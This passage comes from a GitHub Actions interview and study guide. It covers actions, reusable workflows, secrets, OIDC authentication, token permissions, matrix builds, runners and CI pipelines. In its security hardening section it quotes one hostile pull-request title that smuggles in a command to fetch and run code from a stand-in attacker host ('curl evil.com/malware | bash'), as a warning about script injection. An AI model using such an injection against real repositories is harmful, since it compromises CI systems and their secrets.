# Add to PATH
echo "/usr/local/custom/bin" >> $GITHUB_PATH

# Write to step summary (rendered as Markdown in UI)
echo "## Test Results" >> $GITHUB_STEP_SUMMARY
echo "✅ All 42 tests passed" >> $GITHUB_STEP_SUMMARY
```

Category 2: Actions — Building Blocks

2.1 What Is an Action?

What It Is

An **action** is a reusable, pre-packaged unit of automation that a step can call with `uses:`. Actions abstract common tasks so you don't repeat shell scripting across workflows.

Jenkins equivalent: A Shared Library function, or a Jenkins plugin. But actions are versioned Git repositories — no central plugin registry, no compatibility matrix hell.

Three Types of Actions

1. JavaScript Actions

Run directly on the runner in a Node.js environment. Fastest startup. Best for simple tasks.

```yaml
# action.yml (metadata)
name: 'Send Notification'
description: 'Posts a message to Slack'
inputs:
  webhook-url:
    required: true
  message:
    required: true
outputs:
  timestamp:
    description: 'Time notification was sent'
runs:
  using: 'node20'
  main: 'dist/index.js'
```

```javascript
// index.js
const core = require('@actions/core');
const { WebClient } = require('@slack/web-api');
```

```
async function run() {
  const webhook = core.getInput('webhook-url', { required: true });
  const message = core.getInput('message', { required: true });

  const client = new WebClient(webhook);
  const result = await client.chat.postMessage({ text: message });

  core.setOutput('timestamp', result.ts);
}

run().catch(core.setFailed);
```

2. Docker Actions

Run in a Docker container. Language-agnostic. Consistent environment. Slower startup (container pull + start).

```
# action.yml
name: 'Run Security Scan'
runs:
  using: 'docker'
  image: 'docker://aquasec/trivy:latest'
  args:
    - image
    - ${{ inputs.image }}
```

3. Composite Actions

Chain multiple `run` steps and `uses` steps into a reusable action. No Docker or Node.js required.

```
# action.yml — composite action
name: 'Setup Go and Cache'
inputs:
  go-version:
    default: '1.21'
runs:
  using: 'composite'
  steps:
    - uses: actions/setup-go@v5
      with:
        go-version: ${{ inputs.go-version }}
    - uses: actions/cache@v4
      with:
        path: ~/go/pkg/mod
        key: ${{ runner.os }}-go-${{ hashFiles('**/go.sum') }}
    - name: Download dependencies
```

```
        shell: bash
        run: go mod download
```

2.2 Using Marketplace Actions & Pinning ⚠

The Pinning Problem

```
# ❌ DANGEROUS — floating tag, can be hijacked or changed
- uses: actions/checkout@v4

# ❌ DANGEROUS — main branch changes unpredictably
- uses: some-org/some-action@main

# ✅ SECURE — pinned to specific commit SHA
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683  #
v4.2.2

# ✅ ALSO ACCEPTABLE for trusted first-party actions — pinned major
version
- uses: actions/checkout@v4
```

Why SHA pinning matters: A tag like `@v4` is a mutable reference. A malicious or compromised action maintainer can push code to the `v4` tag without changing the version number. Your workflow picks it up on the next run. SHA pinning ensures you run exactly the code you audited.

```
# Get the SHA for a specific tag
gh release view v4.2.2 --repo actions/checkout --json
tagName,targetCommitish
# Or on GitHub: look at the tag's commit SHA in the releases page
```

Action Versioning

Action authors use semantic versioning with floating major version tags:

- `actions/checkout@v4` — points to latest v4.x.x
- `actions/checkout@v4.2.2` — specific patch version
- `actions/checkout@11bd71901bbe...` — immutable SHA

Best practice for production: Pin to SHA with a comment showing the tag:

```
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683  #
v4.2.2
- uses: actions/setup-node@cdca7365b2dadb8aad0a33bc7601856ffabcc48e  #
v4.2.0
```

2.3–2.5 JavaScript, Docker, and Composite Actions

Production Composite Action Example: Deploy to Kubernetes

```yaml
# .github/actions/k8s-deploy/action.yml
name: 'Deploy to Kubernetes'
description: 'Renders Helm chart and applies to cluster'
inputs:
  chart-path:
    required: true
  release-name:
    required: true
  namespace:
    required: true
  values-file:
    required: false
    default: 'values.yaml'
  image-tag:
    required: true
  kubeconfig:
    required: true
    description: 'Base64-encoded kubeconfig'
outputs:
  deployed-image:
    description: 'Full image reference deployed'
    value: ${{ steps.deploy.outputs.image }}

runs:
  using: composite
  steps:
    - name: Setup kubectl
      uses: azure/setup-kubectl@v4
      with:
        version: 'v1.28.0'

    - name: Setup Helm
      uses: azure/setup-helm@v4
      with:
        version: '3.13.0'

    - name: Configure kubeconfig
      shell: bash
      run: |
        mkdir -p ~/.kube
        echo "${{ inputs.kubeconfig }}" | base64 -d > ~/.kube/config
        chmod 600 ~/.kube/config

    - name: Deploy
      id: deploy
      shell: bash
```

```
      run: |
        IMAGE="${{ inputs.image-tag }}"
        helm upgrade --install \
          ${{ inputs.release-name }} \
          ${{ inputs.chart-path }} \
          --namespace ${{ inputs.namespace }} \
          --create-namespace \
          --values ${{ inputs.values-file }} \
          --set image.tag=${IMAGE} \
          --wait \
          --timeout 5m
        echo "image=${IMAGE}" >> $GITHUB_OUTPUT
```

```
# Usage in a workflow
- uses: ./.github/actions/k8s-deploy
  with:
    chart-path: ./helm/myapp
    release-name: myapp
    namespace: production
    image-tag: ${{ github.sha }}
    kubeconfig: ${{ secrets.KUBECONFIG_PROD }}
```

2.6 Action Inputs, Outputs, and Data Passing

```
# Setting outputs from a step
- name: Generate version
  id: version
  run: |
    VERSION=$(git describe --tags --always)
    echo "tag=${VERSION}" >> $GITHUB_OUTPUT
    echo "short=${VERSION:0:7}" >> $GITHUB_OUTPUT
    # Multi-line output:
    CHANGELOG=$(git log --oneline -5)
    EOF=$(dd if=/dev/urandom bs=15 count=1 status=none | base64)
    echo "changelog<<${EOF}" >> $GITHUB_OUTPUT
    echo "$CHANGELOG" >> $GITHUB_OUTPUT
    echo "${EOF}" >> $GITHUB_OUTPUT

# Reading outputs in subsequent steps
- name: Use version
  run: |
    echo "Tag: ${{ steps.version.outputs.tag }}"
    echo "Short: ${{ steps.version.outputs.short }}"
```

Category 3: Reusability & Modularity

3.1 Reusable Workflows

What It Is

A workflow that exposes itself as callable by other workflows via `workflow_call`. This is the primary mechanism for sharing pipeline logic across repos in an org.

Jenkins equivalent: Jenkins Shared Libraries. A reusable workflow is like a Shared Library pipeline template — other repos call it instead of duplicating YAML.

Defining a Reusable Workflow

```yaml
# .github/workflows/reusable-deploy.yml (in a central platform repo)
name: Reusable Deploy Pipeline

on:
  workflow_call:
    inputs:
      environment:
        required: true
        type: string
      image-tag:
        required: true
        type: string
      helm-release:
        required: false
        type: string
        default: 'myapp'
    secrets:
      kubeconfig:
        required: true
      registry-token:
        required: false
    outputs:
      deployed-version:
        description: 'The version that was deployed'
        value: ${{ jobs.deploy.outputs.version }}

jobs:
  deploy:
    runs-on: ubuntu-latest
    environment: ${{ inputs.environment }}
    outputs:
      version: ${{ steps.deploy.outputs.version }}
    steps:
      - uses: actions/checkout@v4
```

```
      - name: Deploy
        id: deploy
        run: |
          echo "Deploying ${{ inputs.image-tag }} to ${{
inputs.environment }}"
          echo "version=${{ inputs.image-tag }}" >> $GITHUB_OUTPUT
```

Calling a Reusable Workflow

```
# .github/workflows/app-pipeline.yml (in application repo)
name: Application CI/CD
on:
  push:
    branches: [main]

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: npm test

  deploy-staging:
    needs: test
    uses: my-org/platform-workflows/.github/workflows/reusable-
deploy.yml@main
    with:
      environment: staging
      image-tag: ${{ github.sha }}
    secrets:
      kubeconfig: ${{ secrets.STAGING_KUBECONFIG }}

  deploy-prod:
    needs: deploy-staging
    uses: my-org/platform-workflows/.github/workflows/reusable-
deploy.yml@main
    with:
      environment: production
      image-tag: ${{ github.sha }}
    secrets: inherit   # Pass all caller secrets to the reusable workflow
    permissions:
      id-token: write
      contents: read
```

3.3 Composite Actions vs Reusable Workflows ⚠

This distinction is heavily tested in interviews.

Aspect	Composite Action	Reusable Workflow
Trigger	`uses:` in a step	`uses:` at the job level
Runs on	Caller's runner	Its OWN runner (defined internally)
Can define services	No	Yes
Can define matrix	No	Yes
Secrets access	Via inputs	Via `secrets:` keyword
Environments	No	Yes (can deploy to environments)
Visibility	Step-level in UI	Separate jobs in UI
Best for	Reusable step sequences	Reusable pipeline templates
Jenkins equivalent	Shared Library function	Shared Library pipeline template

Rule of thumb:

- Need to reuse a *sequence of steps*? → Composite Action
- Need to reuse an entire *job or pipeline*? → Reusable Workflow

---

Category 4: Secrets, Environments & Security

4.1 Secrets

What It Is

GitHub secrets are encrypted key-value pairs stored at the repository, environment, or organization level. They are injected into workflow runs as environment variables and are masked in logs.

```
# Accessing secrets
steps:
  - run: |
      echo "Deploying to ${{ secrets.DEPLOY_HOST }}"
      # GitHub automatically masks this value in logs
    env:
      API_KEY: ${{ secrets.API_KEY }}
      DB_PASSWORD: ${{ secrets.DB_PASSWORD }}
```

Secret Scopes

Scope	Where defined	Who can access
Repository	Repo Settings → Secrets	Any workflow in that repo

Scope	Where defined	Who can access
Environment	Repo Settings → Environments	Workflows targeting that environment
Organization	Org Settings → Secrets	Repos selected by org admin
Codespaces	Same as above	Codespaces only

Setting secrets via CLI:

```
# Set a repo secret
gh secret set MY_SECRET --body "secret-value"

# Set from file
gh secret set SSL_CERT < ./cert.pem

# Set org secret
gh secret set SHARED_TOKEN --org my-org --visibility all
```

4.2 GitHub Environments & Protection Rules

What It Is

Environments are named deployment targets (e.g., `staging`, `production`) with configurable protection rules. A job targeting an environment must pass all protection rules before executing.

```
jobs:
  deploy:
    environment: production    # References environment named 'production'
    runs-on: ubuntu-latest
    steps:
      - run: ./deploy-prod.sh
```

Protection Rules

- **Required reviewers:** One or more users/teams must approve before the job proceeds
- **Wait timer:** Delay execution by N minutes after trigger (useful for canary observation windows)
- **Deployment branches/tags:** Only allow deployments from specific branches or tag patterns
- **Custom deployment protection rules:** GitHub Apps that implement custom checks (external approval systems, ITSM, etc.)

4.3 ⚠ OIDC-Based Keyless Authentication

What It Is

OpenID Connect (OIDC) allows GitHub Actions to authenticate to cloud providers (AWS, GCP, Azure) **without storing long-lived credentials as secrets**. Instead, GitHub acts as an identity provider and issues short-lived tokens that cloud providers validate.

This is one of the most important topics in GitHub Actions security interviews.

Jenkins equivalent: There is no native equivalent. Jenkins typically requires storing cloud credentials in the Credentials Store (long-lived access keys). Some teams use HashiCorp Vault with the AppRole method, but OIDC native support is a GitHub Actions-native feature.

How OIDC Works

```
GitHub Actions Runner              GitHub OIDC Provider           AWS /
GCP / Azure
       │                                  │
│
       │  1. Request OIDC token           │
│
       │──────────────────────────────────►│
│
       │  2. Returns signed JWT           │
│
       │◄──────────────────────────────────│
│
       │                                  │
│
       │  3. Present JWT to cloud provider │
│

│──────────────────────────────────────────────────────────────────►│
       │                                  │  4. Validate JWT signature
│
       │
│◄──────────────────────────────────│
       │                                  │  5. JWT is valid
│
       │
│──────────────────────────────────►│
       │  6. Return short-lived cloud creds│
│

│◄──────────────────────────────────────────────────────────────────│
       │                                  │
│
       │  7. Use creds for AWS/GCP/Azure   │
│
```

The JWT contains **claims** about the workflow run:

```
{
  "iss": "https://token.actions.githubusercontent.com",
  "sub": "repo:my-org/my-repo:environment:production",
  "aud": "https://github.com/my-org",
  "ref": "refs/heads/main",
  "sha": "abc123...",
  "repository": "my-org/my-repo",
  "repository_owner": "my-org",
  "actor": "username",
  "workflow": "Deploy",
  "job_workflow_ref": "my-org/my-
repo/.github/workflows/deploy.yml@refs/heads/main",
  "environment": "production"
}
```

OIDC with AWS

Step 1: Configure AWS (one-time, via Terraform or console)

```
# Terraform: AWS OIDC Trust Configuration
resource "aws_iam_openid_connect_provider" "github" {
  url             = "https://token.actions.githubusercontent.com"
  client_id_list  = ["sts.amazonaws.com"]
  thumbprint_list = ["6938fd4d98bab03faadb97b34396831e3780aea1"]
}

resource "aws_iam_role" "github_actions_deploy" {
  name = "github-actions-deploy"
  assume_role_policy = jsonencode({
    Version = "2012-10-17"
    Statement = [{
      Effect = "Allow"
      Principal = {
        Federated = aws_iam_openid_connect_provider.github.arn
      }
      Action = "sts:AssumeRoleWithWebIdentity"
      Condition = {
        StringEquals = {
          "token.actions.githubusercontent.com:aud" = "sts.amazonaws.com"
        }
        StringLike = {
          # Restrict to specific repo AND environment
          "token.actions.githubusercontent.com:sub" = [
            "repo:my-org/my-repo:environment:production",
            "repo:my-org/my-repo:ref:refs/heads/main"
          ]
        }
      }
    }]
  })
```

```
}

resource "aws_iam_role_policy_attachment" "deploy" {
  role       = aws_iam_role.github_actions_deploy.name
  policy_arn = "arn:aws:iam::aws:policy/AmazonEKSClusterPolicy"
}
```

Step 2: Use in GitHub Actions workflow

```
name: Deploy to AWS
on:
  push:
    branches: [main]

permissions:
  id-token: write    # ⚠ REQUIRED — allows requesting OIDC JWT
  contents: read

jobs:
  deploy:
    runs-on: ubuntu-latest
    environment: production    # Matches the `sub` claim condition in AWS
trust policy
    steps:
      - uses: actions/checkout@v4

      - name: Configure AWS credentials via OIDC
        uses: aws-actions/configure-aws-
credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502  # v4
        with:
          role-to-assume: arn:aws:iam::123456789012:role/github-actions-
deploy
          aws-region: us-east-1
          # No access-key-id or secret-access-key needed!

      - name: Deploy to EKS
        run: |
          aws eks update-kubeconfig --name prod-cluster --region us-east-1
          kubectl set image deployment/myapp app=${{ env.IMAGE }}:${{
github.sha }}

      - name: Push to ECR
        run: |
          aws ecr get-login-password | docker login --username AWS --
password-stdin $ECR_URI
          docker push $ECR_URI:${{ github.sha }}
```

OIDC with GCP

```
- name: Authenticate to GCP via OIDC
  uses: google-github-actions/auth@71fee32a0bb7e97b4d33d548e7d957010649d8fa  # v2
  with:
    workload_identity_provider: 'projects/123/locations/global/workloadIdentityPools/github-pool/providers/github'
    service_account: 'github-actions@my-project.iam.gserviceaccount.com'
```

OIDC with Azure

```
- name: Azure login via OIDC
  uses: azure/login@a457da9ea143d694b1b9c7c869ebb04edd5a2efb  # v2
  with:
    client-id: ${{ secrets.AZURE_CLIENT_ID }}
    tenant-id: ${{ secrets.AZURE_TENANT_ID }}
    subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
    # No client-secret needed!
```

Interview Answer (30–45 seconds)

> "OIDC lets GitHub Actions authenticate to cloud providers without storing long-lived credentials. GitHub acts as an OIDC identity provider and issues a signed JWT for each job run. The JWT contains claims about the workflow — the repo, branch, environment, actor. You configure the cloud provider to trust GitHub's OIDC issuer and define which claim values are allowed to assume which role. The workflow requests the token at runtime, presents it to the cloud provider, and gets back short-lived credentials — typically 15 minutes to an hour. No IAM keys in GitHub secrets, no rotation needed, full audit trail through the cloud provider's access logs tied to specific workflow runs."

Gotchas ⚠

- **`id-token: write` permission is mandatory.** Without it, the OIDC token request will fail. It must be at the job or workflow level.
- **The `sub` claim format varies by event.** For a push: `repo:org/repo:ref:refs/heads/main`. For a deployment to an environment: `repo:org/repo:environment:production`. Design your trust policies accordingly.
- **Condition must be precise or it's too permissive.** A condition on only `repository` allows ANY workflow in the repo to assume the role. Always add `ref` or `environment` conditions for production.
- **OIDC doesn't work for `pull_request` events from forks** by default. Forks don't get `id-token: write` permission for security reasons.

4.4 ⚠ Token Permissions & GITHUB_TOKEN

What It Is

`GITHUB_TOKEN` is an automatically generated, short-lived token that GitHub creates for every workflow run. It allows workflows to interact with the GitHub API (create releases, comment on PRs, push commits, etc.) without needing a stored Personal Access Token.

Jenkins equivalent: There's no direct equivalent. Jenkins uses PATs stored in credentials for any GitHub API interaction.

Default Permissions (Permissive vs Restricted)

Org admins can set the default to either **"Read and write"** (dangerous) or **"Read repository contents and packages"** (safer).

```
# Workflow-level permission override
permissions:
  contents: write      # Push commits, create releases
  pull-requests: write # Comment on, merge PRs
  issues: write        # Comment on issues
  packages: write      # Push to GitHub Packages/GHCR
  id-token: write      # Request OIDC tokens
  checks: write        # Create check runs
  statuses: write      # Update commit statuses
  actions: read        # Read workflow runs
  security-events: write # Upload SARIF results

# Minimal permission set (read-only on everything)
permissions:
  contents: read

# Per-job override
jobs:
  release:
    permissions:
      contents: write
      packages: write
  test:
    permissions:
      contents: read
```

Best Practice: Least Privilege

```
# At workflow level — restrict everything
permissions:
  contents: read

jobs:
  test:
    runs-on: ubuntu-latest
    # Inherits read-only from workflow level
    steps:
```

```
      - uses: actions/checkout@v4
      - run: npm test

  release:
    runs-on: ubuntu-latest
    # Override for this specific job only
    permissions:
      contents: write
      packages: write
    steps:
      - uses: actions/checkout@v4
      - run: npm publish
```

4.5 ⚠ Security Hardening

Critical Security Practices

```
# 1. Pin ALL third-party actions to SHAs
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683  #
v4.2.2

# 2. Set minimal permissions at workflow level
permissions:
  contents: read

# 3. NEVER interpolate untrusted input directly into run: steps
# ❌ VULNERABLE TO SCRIPT INJECTION
- run: echo "PR title: ${{ github.event.pull_request.title }}"
# A PR titled `"; curl evil.com/malware | bash; echo "` would be executed!

# ✅ SAFE — pass via environment variable
- run: echo "PR title: $TITLE"
  env:
    TITLE: ${{ github.event.pull_request.title }}

# 4. Never use pull_request_target without extreme care
# 5. Use environment protection rules for prod deployments
```

pull_request_target Security Warning

```
# ⚠ THIS IS DANGEROUS — runs in context of base branch with secrets
on:
  pull_request_target:

# If you MUST use it (e.g., to label PRs from forks):
on:
  pull_request_target:
    types: [opened, labeled]
```

```yaml
jobs:
  add-label:
    # ONLY run safe, read-only actions
    # NEVER checkout and run PR code with pull_request_target
    runs-on: ubuntu-latest
    steps:
      - uses: actions/labeler@v5
        # ✅ This doesn't execute PR code, just reads file paths
```

Category 5: Advanced Workflow Patterns

5.1 ⚠ Matrix Builds & Dynamic Matrix

What It Is

Matrix strategy runs a job multiple times with different variable combinations. Essential for testing across multiple versions, OS, architectures, or environments.

Jenkins equivalent: Jenkins parallel stages or parameterized builds. Matrix is far more concise in GitHub Actions.

Static Matrix

```yaml
jobs:
  test:
    strategy:
      fail-fast: false    # Don't cancel other matrix jobs if one fails
      max-parallel: 4     # Maximum concurrent jobs in the matrix
      matrix:
        os: [ubuntu-latest, windows-latest, macos-latest]
        node: ['18', '20', '22']
        # Runs all combinations: 3 OS × 3 node = 9 jobs

    runs-on: ${{ matrix.os }}
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with:
          node-version: ${{ matrix.node }}
      - run: npm test
```

Matrix with Include/Exclude

```yaml
strategy:
  matrix:
    os: [ubuntu-latest, windows-latest]
    node: ['18', '20']
    include:
      # Add extra variable to a specific combination
      - os: ubuntu-latest
        node: '20'
        experimental: true
      # Add a combination not in the base matrix
      - os: macos-latest
        node: '20'
    exclude:
      # Remove a combination
      - os: windows-latest
        node: '18'
```

⚠ Dynamic Matrix Generation

This is frequently tested because it's non-obvious.

```yaml
jobs:
  # JOB 1: Generate the matrix dynamically
  generate-matrix:
    runs-on: ubuntu-latest
    outputs:
      matrix: ${{ steps.set-matrix.outputs.matrix }}
    steps:
      - uses: actions/checkout@v4

      - name: Detect changed services
        id: set-matrix
        run: |
          # Get list of changed directories in src/
          CHANGED=$(git diff --name-only ${{ github.event.before }} ${{
github.sha }} \
            | grep '^src/' \
            | cut -d/ -f2 \
            | sort -u \
            | jq -R . \
            | jq -sc .)
          echo "matrix={\"service\":${CHANGED}}" >> $GITHUB_OUTPUT
          cat $GITHUB_OUTPUT

  # JOB 2: Use the dynamic matrix
  build-services:
    needs: generate-matrix
    # Parse the JSON string back into a matrix object
    strategy:
      matrix: ${{ fromJSON(needs.generate-matrix.outputs.matrix) }}
    runs-on: ubuntu-latest
```

```
    steps:
      - uses: actions/checkout@v4
      - name: Build ${{ matrix.service }}
        run: |
          cd src/${{ matrix.service }}
          docker build -t ${{ matrix.service }}:${{ github.sha }} .
```

Another pattern — dynamic matrix from config file:

```
- name: Load matrix from config
  id: set-matrix
  run: |
    # services.json: {"service": ["api", "worker", "scheduler"]}
    MATRIX=$(cat .github/matrices/services.json)
    echo "matrix=${MATRIX}" >> $GITHUB_OUTPUT
```

Interview Answer (30–45 seconds)

> "Matrix strategy runs a job N times with different variable combinations — you define dimensions like OS, runtime version, or environment, and GitHub spawns one job per combination. By default all combinations run in parallel. `fail-fast: false` keeps other combinations running even if one fails. The advanced pattern is dynamic matrix generation: a first job runs a script to discover what needs building — changed services, test shards, whatever — outputs a JSON array, and a second job uses `fromJSON()` on that output to define its matrix at runtime. This is essential for monorepos where you only want to build changed services."

Gotchas ⚠

- **Dynamic matrix output must be valid JSON.** Use `jq` to construct it properly — do not manually concatenate JSON strings.
- **Matrix values are always strings** in the YAML, but referenced as the type they are in expressions.
- **`max-parallel` defaults to max available runners.** Without it, a 50-combination matrix spawns 50 concurrent jobs.
- **`fail-fast: true` is the default.** If any matrix job fails, GitHub cancels the remaining ones. Set `fail-fast: false` for test suites where you want full results.
- **An empty matrix causes the job to fail.** If your dynamic matrix script returns an empty array, the job errors. Add a fallback: `if: needs.generate.outputs.matrix != '[]'`.

5.2 Concurrency Controls

What It Is

Concurrency groups ensure that only one workflow run at a time can proceed within a named group. This prevents race conditions in deployments and duplicate CI runs.

```yaml
# Cancel in-progress run when a new one is pushed (good for CI)
concurrency:
  group: ci-${{ github.ref }}
  cancel-in-progress: true

# Queue deployments (don't cancel, just wait)
concurrency:
  group: deploy-production
  cancel-in-progress: false
```

Production Deployment Pattern

```yaml
name: Deploy
on:
  push:
    branches: [main]

# Global: one deployment at a time per branch
concurrency:
  group: deploy-${{ github.ref_name }}
  cancel-in-progress: false  # Queue, don't cancel

jobs:
  # But for CI/lint, cancel old runs freely
  lint:
    concurrency:
      group: lint-${{ github.ref }}
      cancel-in-progress: true
    runs-on: ubuntu-latest
    steps:
      - run: npm run lint

  deploy:
    needs: lint
    runs-on: ubuntu-latest
    environment: production
    steps:
      - run: ./deploy.sh
```

5.3 ⚠ Caching Strategies

What It Is

`actions/cache` persists data between workflow runs. This dramatically speeds up builds by avoiding re-downloading dependencies.

Jenkins equivalent: Jenkins workspace persistence or shared NFS mounts for build caches. GitHub Actions cache is managed by GitHub and scoped to branch/repo.

Cache Key Design

```yaml
# Node.js — cache node_modules based on lock file hash
- uses: actions/cache@v4
  with:
    path: ~/.npm
    key: ${{ runner.os }}-node-${{ hashFiles('**/package-lock.json') }}
    restore-keys: |
      ${{ runner.os }}-node-

# Go modules
- uses: actions/cache@v4
  with:
    path: |
      ~/go/pkg/mod
      ~/.cache/go-build
    key: ${{ runner.os }}-go-${{ hashFiles('**/go.sum') }}
    restore-keys: |
      ${{ runner.os }}-go-

# Python pip
- uses: actions/cache@v4
  with:
    path: ~/.cache/pip
    key: ${{ runner.os }}-pip-${{ hashFiles('**/requirements*.txt') }}
    restore-keys: |
      ${{ runner.os }}-pip-

# Docker layer caching (with buildx and GitHub cache backend)
- uses: docker/build-push-action@v5
  with:
    cache-from: type=gha
    cache-to: type=gha,mode=max
```

Cache Scoping Rules

- **Cache hits:** Exact key match first, then `restore-keys` prefix match
- **Branch scope:** Caches created on `main` are accessible by all branches. Branch caches are not accessible across branches except from `main`.
- **Cache size limit:** 10 GB per repo. LRU eviction when limit is reached.
- **Cache TTL:** 7 days of inactivity.

5.4 Artifacts

```yaml
jobs:
  build:
    steps:
```

```
      - run: make build

      - name: Upload build artifacts
        uses: actions/upload-artifact@v4
        with:
          name: build-output-${{ github.sha }}
          path: |
            dist/
            coverage/
          retention-days: 30
          if-no-files-found: error

  deploy:
    needs: build
    steps:
      - name: Download build artifacts
        uses: actions/download-artifact@v4
        with:
          name: build-output-${{ github.sha }}
          path: ./dist

      - run: ls -la ./dist
```

5.5 Conditional Execution

```
steps:
  # Status check functions
  - if: success()    # Previous step succeeded (default)
  - if: failure()    # Any previous step failed
  - if: cancelled()  # Workflow was cancelled
  - if: always()     # Always run regardless of status

  # Combining conditions
  - name: Notify on failure
    if: failure() && github.ref == 'refs/heads/main'
    run: ./notify-oncall.sh

  # Job-level needs result checking
jobs:
  rollback:
    needs: deploy
    if: needs.deploy.result == 'failure'
    runs-on: ubuntu-latest
    steps:
      - run: ./rollback.sh
```

Category 6: Self-Hosted Runners & Scaling

6.1 Self-Hosted Runner Setup

```
# 1. Download runner package
mkdir actions-runner && cd actions-runner
curl -o actions-runner-linux-x64-2.311.0.tar.gz -L \
  https://github.com/actions/runner/releases/download/v2.311.0/actions-
runner-linux-x64-2.311.0.tar.gz
tar xzf ./actions-runner-linux-x64-2.311.0.tar.gz

# 2. Configure (get token from GitHub repo settings)
./config.sh \
  --url https://github.com/my-org/my-repo \
  --token REGISTRATION_TOKEN \
  --name "prod-runner-1" \
  --labels "self-hosted,linux,x64,production" \
  --runnergroup "production" \
  --ephemeral   # ← Makes it process one job then exit

# 3. Install as a service
sudo ./svc.sh install
sudo ./svc.sh start
```

6.2 ⚠ Actions Runner Controller (ARC) on Kubernetes

What It Is

ARC is the official Kubernetes operator for running ephemeral GitHub Actions runners as pods. It dynamically scales runner pods based on job queue depth.

Jenkins equivalent: Jenkins Kubernetes Plugin — spinning up ephemeral agent pods for each build. ARC is the direct equivalent.

ARC Architecture

```
GitHub Actions API
       │
       │  Webhook: job queued
       ▼
ARC Controller (Pod in cluster)
       │
       │  Scale up: create RunnerSet/EphemeralRunner pod
       ▼
Runner Pod (executes job, then terminates)
```

ARC Setup

```
# Install ARC via Helm
helm install arc \
  --namespace arc-systems \
  --create-namespace \
  oci://ghcr.io/actions/actions-runner-controller-charts/gha-runner-scale-
set-controller

# Create a runner scale set
helm install arc-runner-set \
  --namespace arc-runners \
  --create-namespace \
  --set githubConfigUrl=https://github.com/my-org \
  --set githubConfigSecret.github_token=ghp_xxx \
  --set minRunners=0 \
  --set maxRunners=20 \
  oci://ghcr.io/actions/actions-runner-controller-charts/gha-runner-scale-
set
```

ARC with Custom Runner Image

```
# values.yaml for production ARC deployment
githubConfigUrl: https://github.com/my-org
githubConfigSecret: arc-github-secret

minRunners: 2      # Always keep 2 warm
maxRunners: 50     # Scale up to 50

template:
  spec:
    serviceAccountName: arc-runner
    initContainers:
      - name: init-dind-externals
        image: ghcr.io/actions/actions-runner:latest
        command: ["cp", "-r", "-v", "/home/runner/externals/.",
"/home/runner/tmpDir/"]
        volumeMounts:
          - name: dind-externals
            mountPath: /home/runner/tmpDir
    containers:
      - name: runner
        image: my-registry/custom-runner:v1.2.3   # Custom runner with
tools pre-installed
        resources:
          requests:
            cpu: "500m"
            memory: "1Gi"
          limits:
            cpu: "2"
```

```
            memory: "4Gi"
        env:
          - name: DOCKER_HOST
            value: unix:///var/run/docker.sock
        volumeMounts:
          - name: work
            mountPath: /home/runner/_work
          - name: dind-sock
            mountPath: /var/run
      - name: dind
        image: docker:dind
        securityContext:
          privileged: true
        volumeMounts:
          - name: work
            mountPath: /home/runner/_work
          - name: dind-sock
            mountPath: /var/run
          - name: dind-externals
            mountPath: /home/runner/externals
    volumes:
      - name: work
        emptyDir: {}
      - name: dind-sock
        emptyDir: {}
      - name: dind-externals
        emptyDir: {}
```

Interview Answer (30–45 seconds)

> "ARC is the Kubernetes operator for GitHub Actions runners. It runs a controller pod that watches GitHub's job queue via webhooks or polling, and dynamically spawns runner pods when jobs are queued. Each runner pod is ephemeral — it registers with GitHub, processes exactly one job, and then terminates. This gives you clean isolation between jobs (no state leakage), automatic scaling (set minRunners and maxRunners), and Kubernetes-native resource management. You configure it via Helm, pointing it at your org or repo with a GitHub App or PAT for authentication. It's the direct equivalent of the Jenkins Kubernetes plugin."

Category 7: CI/CD for Real Workloads

7.1 Docker Builds with GitHub Actions

```
name: Docker Build & Push

on:
```

```yaml
  push:
    branches: [main]
    tags: ['v*']

permissions:
  contents: read
  packages: write
  id-token: write

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      # Extract metadata for tags and labels
      - name: Docker metadata
        id: meta
        uses: docker/metadata-action@v5
        with:
          images: |
            ghcr.io/${{ github.repository }}
            my-ecr.amazonaws.com/myapp
          tags: |
            type=ref,event=branch
            type=semver,pattern={{version}}
            type=semver,pattern={{major}}.{{minor}}
            type=sha,prefix=sha-
            type=raw,value=latest,enable=${{ github.ref ==
'refs/heads/main' }}

      # Multi-platform build setup
      - name: Set up QEMU
        uses: docker/setup-qemu-action@v3

      - name: Set up Docker Buildx
        uses: docker/setup-buildx-action@v3

      - name: Login to GHCR
        uses: docker/login-action@v3
        with:
          registry: ghcr.io
          username: ${{ github.actor }}
          password: ${{ secrets.GITHUB_TOKEN }}

      - name: Configure AWS credentials
        uses: aws-actions/configure-aws-credentials@v4
        with:
          role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
          aws-region: us-east-1

      - name: Login to ECR
        uses: aws-actions/amazon-ecr-login@v2
```

```
      # Build and push with layer caching
      - name: Build and push
        uses: docker/build-push-action@v5
        with:
          context: .
          platforms: linux/amd64,linux/arm64
          push: true
          tags: ${{ steps.meta.outputs.tags }}
          labels: ${{ steps.meta.outputs.labels }}
          cache-from: type=gha
          cache-to: type=gha,mode=max
          build-args: |
            BUILD_DATE=${{ github.event.repository.updated_at }}
            GIT_SHA=${{ github.sha }}
```

7.4 Terraform Workflows

```
name: Terraform
on:
  push:
    branches: [main]
    paths: ['infra/**']
  pull_request:
    paths: ['infra/**']

permissions:
  id-token: write
  contents: read
  pull-requests: write

jobs:
  terraform:
    runs-on: ubuntu-latest
    defaults:
      run:
        working-directory: ./infra

    steps:
      - uses: actions/checkout@v4

      - name: Configure AWS credentials
        uses: aws-actions/configure-aws-credentials@v4
        with:
          role-to-assume: ${{ secrets.TF_ROLE_ARN }}
          aws-region: us-east-1

      - uses: hashicorp/setup-terraform@v3
        with:
          terraform_version: '1.7.0'
```

```
      - name: Terraform Init
        run: terraform init -backend-config="bucket=${{
vars.TF_STATE_BUCKET }}"

      - name: Terraform Format Check
        run: terraform fmt -check -recursive

      - name: Terraform Validate
        run: terraform validate

      - name: Terraform Plan
        id: plan
        run: |
          terraform plan -no-color -out=tfplan 2>&1 | tee plan.txt
          echo "exitcode=${PIPESTATUS[0]}" >> $GITHUB_OUTPUT

      - name: Post plan to PR
        if: github.event_name == 'pull_request'
        uses: actions/github-script@v7
        with:
          script: |
            const fs = require('fs');
